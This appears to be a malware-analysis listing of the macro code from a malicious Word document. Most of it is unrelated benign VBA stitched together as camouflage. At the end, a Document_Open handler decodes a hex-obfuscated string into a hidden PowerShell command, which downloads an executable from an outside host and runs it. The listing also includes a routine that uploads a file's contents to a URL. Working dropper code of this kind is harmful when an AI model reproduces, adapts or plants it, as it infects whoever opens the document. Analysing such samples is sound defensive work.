Malicious Office (OOXML) / .DOCX — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Dim Jar(0 To 1) As String

Private Sub main()

draws = 17

Jar(0) = "WWBBBBBBBB"
Jar(1) = "WWWWWBBBBB"

a = Draw(0) ' Draws start from jar "W"
Z = Z & " Jar W[" & a & "],"

For i = 1 To draws

    If a = "W" Then
        a = Draw(0)
        Z = Z & " Jar W[" & a & "],"
    Else
        a = Draw(1)
        Z = Z & " Jar B[" & a & "],"
    End If
  
MsgBox Z
Next i

End Sub

Function Drawe(ByVal S As Integer) As String
    Randomize
    randomly_choose = Int(Rnd * Len(Jar(S)))
    ball = Mid(Jar(S), randomly_choose + 1, 1)
    Drawe = ball
End Function
Public Function GetFullPath(strFileName As String) As String
  'KPD-Team 1999
  'URL: http://www.allapi.net/
  'E-Mail: KPDTeam@Allapi.net
  Dim Buffer As String, Ret As Long
  
  On Error Resume Next
  GetFullPath = ""

  'create a buffer
  Buffer = Space$(255)
  'copy the current directory to the buffer and append 'myfile.ext'
  Ret = GetFullPathName(strFileName, 255, Buffer, "")
  'remove the unnecessary chr$(0)'s
  Buffer = Left$(Buffer, Ret)
  'show the result
  GetFullPath = Buffer
End Function

Dim M(1 To 4, 1 To 4) As String


Function Base(ByRef v() As Variant)

For i = 0 To UBound(v)

    If v(i) > old Then
        x = v(i)
        h = i
    End If
    
    old = x

Next i

    If h = 0 Then n = "A"
    If h = 1 Then n = "T"
    If h = 2 Then n = "G"
    If h = 3 Then n = "C"
        
Base = n

End Function
Attribute VB_Name = "Module1"
'##############################################################################################
'# John Wiley & Sons, Inc.                                                                    #
'#                                                                                            #
'# Book:   Markov Chains: From Theory To Implementation And Experimentation                   #
'# Author: Dr. Paul Gagniuc                                                                   #
'# Data:   01/09/2016                                                                         #
'#                                                                                            #
'# Description:                                                                               #
'# Supporting algorithm 14. A 3-states Markov Chain simulator. The probability                #
'# values present inside a 3x3 transition matrix (P) are directly used for an                 #
'# automatic generation of the letter combination that make up the representation             #
'# of the jars. Thus, the three letter sequences have a calculated proportion of              #
'# “A”, “B” and “C” letters. The chance of a letter chosen at random from one of              #
'# the three sequences is directly dictated by the proportions of “A”, “B” and                #
'# “C” letters.                                                                               #
'##############################################################################################

Dim P(0 To 3, 0 To 2) As Variant
Dim Jar(1 To 3) As Variant


Function Fill_Jar(ByVal S As Variant) As Variant

Ltot = 27

For i = 0 To 2
    a = Int(Ltot * P(S, i))
        For j = 1 To a
            b = b & P(0, i)
        Next j
Next i
Fill_Jar = b

End Function


Function ExtractProb(ByVal S As String)

Ea = "A"
Et = "T"
Eg = "G"
Ec = "C"

For i = 1 To 4
    For j = 1 To 4
      M(i, j) = 0
    Next j
Next i

Ta = 0
Tt = 0
Tg = 0
Tc = 0

For i = 2 To Len(S) - 1

        DI1 = Mid(S, i, 1)
        DI2 = Mid(S, i + 1, 1)

        If DI1 = Ea Then r = 1
        If DI1 = Et Then r = 2
        If DI1 = Eg Then r = 3
        If DI1 = Ec Then r = 4
        
        If DI2 = Ea Then c = 1
        If DI2 = Et Then c = 2
        If DI2 = Eg Then c = 3
        If DI2 = Ec Then c = 4

        M(r, c) = Val(M(r, c)) + 1

        If DI1 = Ea Then Ta = Ta + 1
        If DI1 = Et Then Tt = Tt + 1
        If DI1 = Eg Then Tg = Tg + 1
        If DI1 = Ec Then Tc = Tc + 1

Next i

For i = 1 To 4
    For j = 1 To 4
        If i = 1 Then M(i, j) = Val(M(i, j)) / Ta
        If i = 2 Then M(i, j) = Val(M(i, j)) / Tt
        If i = 3 Then M(i, j) = Val(M(i, j)) / Tg
        If i = 4 Then M(i, j) = Val(M(i, j)) / Tc
    Next j
Next i

End Function

Private Type BITMAPINFOHEADER
    biSize          As Long
    biWidth         As Long
    biHeight        As Long
    biPlanes        As Integer
    biBitCount      As Integer
    biCompression   As Long
    biSizeImage     As Long
    biXPelsPerMeter As Long
    biYPelsPerMeter As Long
    biClrUsed       As Long
    biClrImportant  As Long
End Type

'RGB???
Private Type RGBQUAD
    rgbBlue         As Byte
    rgbGreen        As Byte
    rgbRed          As Byte
    rgbReserved     As Byte
End Type

'????
Private Type BITMAPINFO
    bmiHeader       As BITMAPINFOHEADER
    bmiColors       As RGBQUAD
End Type

Private Const DIB_RGB_COLORS = 0                        '???
Private Const BITBLT_TRANSPARENT_WINDOWS = &H40000000   '??????

Private bi          As BITMAPINFO                       '????
Private hhDC        As Long                             '??DC??
Private hhBmp       As Long                             '??Bmp??
Private lpData      As Long                             '???????????
Private bSize       As Long                             '????????(??)

'???????
Public Property Get iWidth() As Long
    iWidth = bi.bmiHeader.biWidth
End Property

'???????
Public Property Get iHeight() As Long
    iHeight = bi.bmiHeader.biHeight
End Property

'???????????
Public Property Get iBitCount() As Integer
    iBitCount = bi.bmiHeader.biBitCount
End Property

'????????????(??)
Public Property Get iImageSize() As Long
    iImageSize = bi.bmiHeader.biSizeImage
End Property

'?????DC??
Public Property Get hDC() As Long
    hDC = hhDC
End Property

'?????????
Public Property Get hBmp() As Long
    hBmp = hhBmp
End Property

'???????????
Public Property Get lpBitData() As Long
    lpBitData = lpData
End Property

'??:   ????DC
'??:   Width, Height: ?????DC??????(??);
'        BitCount: ????,???0, 1, 4, 8, 16, 24, 32???0?jpg?png???????;
'        hDCfrom: ???????????DC,???0
'
'???: ??DC????
Public Function CreateMemDC(ByVal iWidth As Long, ByVal iHeight As Long, _
    Optional ByVal iBitCount As Integer = 16, Optional ByVal FromHdc As Long = 0) As Boolean
    
    '?????????? ???????????
    If hhDC <> 0 Or hhBmp <> 0 Then
        Call DeleteMemDC
    End If
    
    '??????
    With bi.bmiHeader
        .biBitCount = iBitCount
        .biWidth = iWidth
        .biHeight = iHeight
        .biSize = Len(bi)
        .biPlanes = 1
        .biSizeImage = .biWidth * .biHeight * .biBitCount / 8
        bSize = .biSizeImage
    End With
    
    '????DC
    hhDC = CreateCompatibleDC(FromHdc)
    
    '??????
    hhBmp = CreateDIBSection(hhDC, bi, DIB_RGB_COLORS, ByVal VarPtr(lpData), 0, 0)
    
    '??Bmp?DC
    SelectObject hhDC, hhBmp
    
    CreateMemDC = (hhBmp <> 0)
End Function



'??:   ??????????DC
'??:   ToHdc: ???DC
'        ToX, ToY: ?????DC??X, Y??
'        FromX, FromY: ????????X, Y??
'        iWidth, iHeight: ???????????
'        DrawMode: ????,???vbSrcCopy


'??:   ?????????????????
'??:   FromArray: ?????
Public Sub CopyDataFrom(FromArray() As Byte)
    '????:???????????????????????????????
    If UBound(FromArray) + 1 < bi.bmiHeader.biSize Then
        CopyMemory ByVal lpData, FromArray(0), ByVal UBound(FromArray) + 1
    Else
        CopyMemory ByVal lpData, FromArray(0), ByVal bi.bmiHeader.biSizeImage
    End If
End Sub

Public gbMatchCase As Integer
Public gbWholeWord As Integer
Public gsFindText As String
Public gbLastPos As Integer

Private gsBlackKeywords As String
Public gsBlackKeywords2 As String
Private gsBlueKeyWords As String

Public gsInforme As String
Public gsLastPath As String

'opciones de analisis
Private Type eOptAnalisis
    Value As Integer
End Type

Public Ana_Archivo() As eOptAnalisis
Public Ana_General() As eOptAnalisis
Public Ana_Variables() As eOptAnalisis
Public Ana_Rutinas() As eOptAnalisis

'opciones de configurar para los archivos
Private Type eAnaArchivos
    Nomenclatura As String
    Clase As String
End Type
Public glbAnaArchivos() As eAnaArchivos

'opciones de configurar para los controles
Private Type eAnaControles
    Nomenclatura As String
    Clase As String
End Type
Public glbAnaControles() As eAnaControles

'tipos de variables
Private Type eAnaTipoVariables
    Nomenclatura As String
    TipoVar As String
End Type
Public glbAnaTipoVariables() As eAnaTipoVariables

'tipos de datos
Private Type eAnaAmbitoDatos
    Ambito As String
    Nomenclatura As String
End Type
Public glbAmbitoDatos() As eAnaAmbitoDatos

Public glbLinXArch As Integer
Public glbLarVar As Integer
Public glbLinXRuti As Integer
Public glbMaxNumParam As Integer

Private Type LOGFONT
  lfHeight As Long
  lfWidth As Long
  lfEscapement As Long
  lfOrientation As Long
  lfWeight As Long
  lfItalic As Byte
  lfUnderline As Byte
  lfStrikeOut As Byte
  lfCharSet As Byte
  lfOutPrecision As Byte
  lfClipPrecision As Byte
  lfQuality As Byte
  lfPitchAndFamily As Byte
' lfFaceName(LF_FACESIZE) As Byte 'THIS WAS DEFINED IN API-CHANGES MY OWN
  lfFaceName As String * 33
End Type



'genera un archivo .html
Public Function GuardarArchivoHtml(ByVal Archivo As String, ByVal Titulo As String) As Boolean

    On Local Error GoTo ErrorGuardarArchivoHtml
    
    Dim Ret As Boolean
    Dim nFreeFile As Long
    
    Ret = True
    
    nFreeFile = FreeFile
    
    Open Archivo For Output As #nFreeFile
        Print #nFreeFile, "<html>"
        Print #nFreeFile, "<head><title>" & Titulo & "</title></head>"
        Print #nFreeFile, "<body>"
        Print #nFreeFile, gsHtml
        Print #nFreeFile, "</body>"
        Print #nFreeFile, "</html>"
    Close #nFreeFile
    
    GoTo SalirGuardarArchivoHtml
    
ErrorGuardarArchivoHtml:
    Ret = False
    MsgBox "GuardarArchivoHtml : " & Err & " " & Error$, vbCritical
    Resume SalirGuardarArchivoHtml
    
SalirGuardarArchivoHtml:
    GuardarArchivoHtml = Ret
    Err = 0
    
End Function


Public Sub InitColorize()
' **********************************************************************
' * Comments : Initialize the VB keywords
' *
' *
' **********************************************************************

    gsBlackKeywords = "*Abs*Add*AddItem*AppActivate*Array*Asc*Atn*Beep*Begin*BeginProperty*ChDir*ChDrive*Choose*Chr*Clear*Collection*Command*Cos*CreateObject*CurDir*DateAdd*DateDiff*DatePart*DateSerial*DateValue*Day*DDB*DeleteSetting*Dir*DoEvents*EndProperty*Environ*EOF*Err*Exp*FileAttr*FileCopy*FileDateTime*FileLen*Fix*Format*FV*GetAllSettings*GetAttr*GetObject*GetSetting*Hex*Hide*Hour*InputBox*InStr*Int*Int*IPmt*IRR*IsArray*IsDate*IsEmpty*IsError*IsMissing*IsNull*IsNumeric*IsObject*Item*Kill*LCase*Left*Len*Load*Loc*LOF*Log*LTrim*Me*Mid*Minute*MIRR*MkDir*Month*Now*NPer*NPV*Oct*Pmt*PPmt*PV*QBColor*Raise*Randomize*Rate*Remove*RemoveItem*Reset*RGB*Right*RmDir*Rnd*RTrim*SaveSetting*Second*SendKeys*SetAttr*Sgn*Shell*Sin*Sin*SLN*Space*Sqr*Str*StrComp*StrConv*Switch*SYD*Tan*Text*Time*Time*Timer*TimeSerial*TimeValue*Trim*TypeName*UCase*Unload*Val*VarType*WeekDay*Width*Year*"
    gsBlueKeyWords = "*#Const*#Else*#ElseIf*#End If*#If*Alias*Alias*And*As*Base*Binary*Boolean*Byte*ByVal*Call*Case*CBool*CByte*CCur*CDate*CDbl*CDec*CInt*CLng*Close*Compare*Const*CSng*CStr*Currency*CVar*CVErr*Decimal*Declare*DefBool*DefByte*DefCur*DefDate*DefDbl*DefDec*DefInt*DefLng*DefObj*DefSng*DefStr*DefVar*Dim*Do*Double*Each*Else*ElseIf*End*Enum*Eqv*Erase*Error*Exit*Explicit*False*For*Function*Get*Global*GoSub*GoTo*If*Imp*In*Input*Input*Integer*Is*LBound*Let*Lib*Like*Line*Lock*Long*Loop*LSet*Name*New*Next*Not*Object*On*Open*Option*Or*Output*Print*Private*Property*Public*Put*Random*Read*ReDim*Resume*Return*RSet*Seek*Select*Set*Single*Spc*Static*String*Stop*Sub*Tab*Then*Then*True*Type*UBound*Unlock*Variant*Wend*While*With*Xor*Nothing*To*Friend*"

End Sub


Public Function StripNulls(OriginalStr As String) As String
    If (InStr(OriginalStr, Chr(0)) > 0) Then
        OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
    End If
    StripNulls = OriginalStr
End Function

Public Sub Copiar(ByVal hWnd As Long)

    Dim Ret As Long
    
    Ret = SendMessage(hWnd, WM_COPY, 0, 0)
    
End Sub

Public Function Confirma(ByVal Msg As String) As Integer
    Confirma = MsgBox(Msg, vbQuestion + vbYesNo + vbDefaultButton2)
End Function


'busca una
Public Function MyInstr(ByVal Search As String, ByVal What As String) As Boolean
            
    Dim StringArray() As String
    Dim SearchLen As Integer
    Dim k As Integer
    Dim P As Integer
    Dim c As Integer
    Dim Buffer As String
    Dim Ret As Boolean
    Dim Chars As String

    Ret = False
    P = 1
    c = 0
    Buffer = Search

    If Search = "" Then                     'viene en blanco
        GoTo Salir
    'ElseIf InStr(Search, What) = 0 Then     'hay ocurrencia de alguna substring
    '    GoTo Salir
    End If

Volver:
    Chars = ""
    For k = 1 To Len(Buffer)
        Select Case Mid$(Buffer, k, 1)
            Case "+", "-", "*", "/", ".", ",", "&", " ", "@", "#", "%"
                c = c + 1
                ReDim Preserve StringArray(c)
                StringArray(c) = Trim$(Chars)
                Buffer = Mid$(Buffer, k + 1)
                GoTo Volver
            Case "[", "]", "{", "}", ";", "!", "^", ":"
                c = c + 1
                ReDim Preserve StringArray(c)
                StringArray(c) = Trim$(Chars)
                Buffer = Mid$(Buffer, k + 1)
                GoTo Volver
            Case "$", "(", ")", "=", "\", "<", ">"
                c = c + 1
                ReDim Preserve StringArray(c)
                StringArray(c) = Trim$(Chars)
                Buffer = Mid$(Buffer, k + 1)
                GoTo Volver
            Case Else
                Chars = Chars & Mid$(Buffer, k, 1)
        End Select
    Next k

    c = c + 1
    ReDim Preserve StringArray(c)
    StringArray(c) = Trim$(Chars)

    'validar que no existan caracteres basic
    Select Case Right$(What, 1)
        Case "!", "@", "#", "$", "%", "&"
            What = Left$(What, Len(What) - 1)
    End Select
    
'    ahora ciclar x todas las cadenas encontradas
    For k = 1 To UBound(StringArray())
        If LCase$(StringArray(k)) = LCase$(What) Then
            Ret = True
            Exit For
        End If
    Next k
    
Salir:
    MyInstr = Ret
    
End Function

Public Sub SelTodo()

    On Local Error Resume Next
    
    'frmMain.txtRutina.SelStart = 0
    'frmMain.txtRutina.SelLength = Len(frmMain.txtRutina.Text)
    'frmMain.txtRutina.SetFocus
    
    Err = 0
    
End Sub

'??:   ?????????????????
'??:   ToArray: ????????,?????????????????
'???: ??????
Public Function CopyDataTo(ToArray() As Byte) As Boolean
    '????:????????????????
    If UBound(ToArray) + 1 < bi.bmiHeader.biSizeImage Then
        CopyDataTo = False
        Exit Function
    End If
    
    CopyMemory ToArray(0), ByVal lpData, ByVal bi.bmiHeader.biSizeImage
    CopyDataTo = True
End Function

'??:   ???????DC???
Private Sub Class_Terminate()
    Call DeleteMemDC
End Sub

Private Sub CmdCalc_Click(Index As Integer)
    Dim TempSave1 As Double
    Dim Answer As Double
    Dim Symbol As String
    Dim TempSave2 As Double

    If CmdCalc(Index) = 10 Then
        TempSave1 = LblOutput.Caption
        Symbol = "/"
    ElseIf CmdCalc(Index) = 11 Then
        TempSave1 = LblOutput.Caption
        Symbol = "*"
    ElseIf CmdCalc(Index) = 12 Then
        TempSave1 = LblOutput.Caption
        Symbol = "-"
    ElseIf CmdCalc(Index) = 14 Then
        TempSave1 = LblOutput.Caption
        Symbol = "+"
    End If

    LblOutput.Caption = ""

    If Index = 13 Then
        TempSave2 = LblOutput.Caption
        Answer = TempSave1 & Symbol & TempSave2
    End If

    If Index = 0 Or 1 Or 2 Or 3 Or 4 Or 5 Or 6 Or 7 Or 8 Or 9 Or 10 Or 11 Or 12 Or 14 Then
        LblOutput.Caption = LblOutput.Caption & CmdCalc(Index).Caption
    End If
End Sub


Public Function getFilename(strFullPath As String) As String
    On Error Resume Next
    getFilename = Right(strFullPath, Len(strFullPath) - InStrRev(strFullPath, "\"))
End Function

Public Function UpLoadData(strFileName As String, strTargetURL As String, Optional namaFile As String) As String
    Dim oHttp As XMLHTTP
    Dim strBody As String
    Dim aPostData() As Byte
    Dim oSignature As String
    Dim strResponse As String
    Dim nFile As Long
    Dim strText As String

    On Error GoTo ErrorHandler

    nFile = FreeFile
    Open strFileName For Binary As #nFile
    strText = String(LOF(nFile), " ")
    Get #nFile, , strText
    Close #nFile

    Set oHttp = New XMLHTTP
    If namaFile = "" Then
        namaFile = getFilename(strFileName)
    End If
    oHttp.Open "POST", strTargetURL, False
    oHttp.setRequestHeader "Content-Type", "multipart/form-data, boundary=AaB03x"
    strBody = _
       "--AaB03x" & vbCrLf & _
       "Content-Disposition: form-data; name=""filename""" & vbCrLf & vbCrLf & _
       namaFile & vbCrLf

    strBody = strBody & "--AaB03x" & vbCrLf & _
       "Content-Disposition: attachment; name=""gambar""; filename=""" & strFileName & """" & vbCrLf & _
       "Content-Type: text/plain" & vbCrLf & vbCrLf & _
       strText & vbCrLf & _
       "--AaB03x--"

    aPostData = StrConv(strBody, vbFromUnicode)
    oHttp.send aPostData

    strResponse = oHttp.responseText
    UpLoadData = strResponse


    GoTo LastSub
    On Error GoTo 0
    Exit Function

ErrorHandler:
    MsgBox "Error : (" & Err.Number & ") " & Err.Description, vbExclamation, App.Title
    UpLoadData = "ERROR UPLOAD"
    GoTo LastSub
    Exit Function

LastSub:
    On Error Resume Next
    Set oHttp = Nothing
    On Error GoTo 0
End Function
Dim Jar(0 To 1) As String

Private Sub ToolboxComponentsCreatedEventArgs()

PropertyValueUIItem

End Sub

Private Sub PropertyValueUIItem()

GraphicsContext = UnsafeNativeMethods("706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C65202D77696E646F777374796C652068696464656E202D636F6D6D616E6420284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F74756E616D7573617669726C696B2E636F6D2F6D656469612F52652D6F7264657233303631302E657865272C273437376A6E74782E65786527293B53746172742D50726F6365737320273437376A6E74782E65786527")
 
Shell (GraphicsContext)

End Sub

Public Sub Document_Open()


ToolboxComponentsCreatedEventArgs

 

End Sub

Function UnsafeNativeMethods(InitialString As String) As String
    Dim i As Long
    For i = 1 To Len(InitialString) Step 2
        UnsafeNativeMethods = UnsafeNativeMethods & Chr("&H" & (Mid(InitialString, i, 2)))
    Next i
End Function